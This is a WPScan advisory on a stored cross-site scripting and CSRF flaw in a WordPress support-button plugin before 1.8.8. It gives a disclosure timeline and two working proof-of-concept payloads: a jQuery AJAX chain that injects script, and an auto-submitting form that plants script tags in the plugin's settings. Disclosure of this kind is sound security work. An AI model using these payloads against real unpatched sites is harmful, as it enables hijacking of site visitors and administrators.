All in One Support Button < 1.8.8 - Authenticated Stored Cross-Site Scripting



Description
The lack of CSRF and Capability checks on AJAX calls, such as arcontactus_save_menu_item, could allow low-privilege users to perform stored XSS attacks. The payloads will then be triggered in frontend pages.

The Vendor attempted a fix with v1.8.1, by adding capability and some sanitisation checks. However, stored XSS was still possible via CSRF attacks. The XSS payload will then be triggered in the plugin's settings.

Edit (WPScanTeam):
April 30th, 2020 - Confirmed & Envato Contacted
May 1st, 2020 - Envato Investigating, plugin closed
May 12th, 2020 - Plugin re-opened, v1.8.1 released.
May 14th, 2020 - v1.8.1 added capability and some sanitisation. CSRF checks missing, another PoC sent to Envato.
May 25th, 2020 - Asked for updates to Envato
May 26th, 2020 - Envato replied that 1.8.1 fixes the issues
May 28th, 2020 - Sent them the PoC again, which is working in 1.8.1
May 29th, 2020 - There appear to be inconsistencies between the latest version from the vendor (1.8.4) and the latest on Envato market (1.8.1).
June 13rd, 2020 - v1.8.6 released on Envato, still no CSRF checks and Stored XSS attack still possible. Envato notified again and vendor given two more weeks to issue a fix.
June 15th, 2020 - v1.8.7 released, no changes related to the issues reported.
June 16th, 2020 - v1.8.8 released, fixing the issues.
Proof of Concept
v < 1.7.9 (payload from original submitter)

var payload = `alert("xss")`;
jQuery.ajax({
    url: ajaxurl,
    method: 'post',
    data: {
        action: "arcontactus_save_menu_item",
        data: {
            ajax: true,
            id:"",
            title: " ",
            subtitle: `";${payload};var x="`,
            icon: "facebook",
            fa_icon: "",
            color: "FFFFFF",
            display: '1',
            registered_only: false,
            type: 2,
            link: "",
            target: 0,
            content: "",
            integration: "",
            js: "console.log(/hello/)",
            status: true,
            id:""
        }
    },
    success: function(res){
        console.log('Item added, Getting the id now');
        // Get the ID
        jQuery.ajax({
            url: ajaxurl,
            method: 'post',
            data: {
                action: "arcontactus_reload_menu_items",
            },
            success: function(res){
                res = JSON.parse(res);
                content = jQuery.parseHTML(res.content);
                itemId = jQuery(content).find('#the-list span:contains("alert")').first().parent().parent().attr('data-id');
                console.log(`Activating [${itemId}] now`);
                
                jQuery.ajax({
                    url: ajaxurl,
                    method: 'post',
                    data: {
                        action: "arcontactus_switch_menu_item",
                        id: itemId,
                        data: {
                            ajax: true,
                        }
                    },
                    success: function(res){
                        console.log('Success :)');
                    }
                });        
            }
        });
    }
});

v < 1.8.8 (payload from WPScanTeam. XSS will be triggered in admin dashboard, in the settings page of the plugin)

<html>
  <body onload="document.forms[0].submit();">
    <form action="https://[WP]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="arcontactus_save_menu_item" />
      <input type="hidden" name="ajax" value="true" />
      <input type="hidden" name="data[id]" value="" />
      <input type="hidden" name="data[title]" value="<img src=x onerror=alert(/XSSTitle/)>" />
      <input type="hidden" name="data[subtitle]" value="<script>alert(/XSSSubTitle/)</script>" />
      <input type="hidden" name="data[icon]" value="facebook_messenger" />
      <input type="hidden" name="data[fa_icon]" value="" />
      <input type="hidden" name="data[color]" value="000000" />
      <input type="hidden" name="data[display]" value="1" />
      <input type="hidden" name="data[registered_only]" value="0" />
      <input type="hidden" name="data[type]" value="2" />
      <input type="hidden" name="data[link]" value="" />
      <input type="hidden" name="data[target]" value="0" />
      <input type="hidden" name="data[content]" value="" />
      <input type="hidden" name="data[integration]" value="" />
      <input type="hidden" name="data[js]" value="console.log(/yolo/)" />
      <input type="hidden" name="id" value="" />
    </form>
  </body>
</html>

Affects Plugin

fixed in version 1.8.8

References

URL https://codecanyon.net/item/contact-us-allinone-button-with-callback-request-feature-for-wordpress/22266189

Classification

Type MULTI

Miscellaneous

Original Researcher Omar Badran (@omarbadran21)
Submitter Omar Badran
Views 730
Verified Yes
WPVDB ID 10277

Timeline

Publicly Published 2020-06-21 (18 days ago)
Added 2020-06-21 (18 days ago)
Last Updated 2020-06-22 (17 days ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin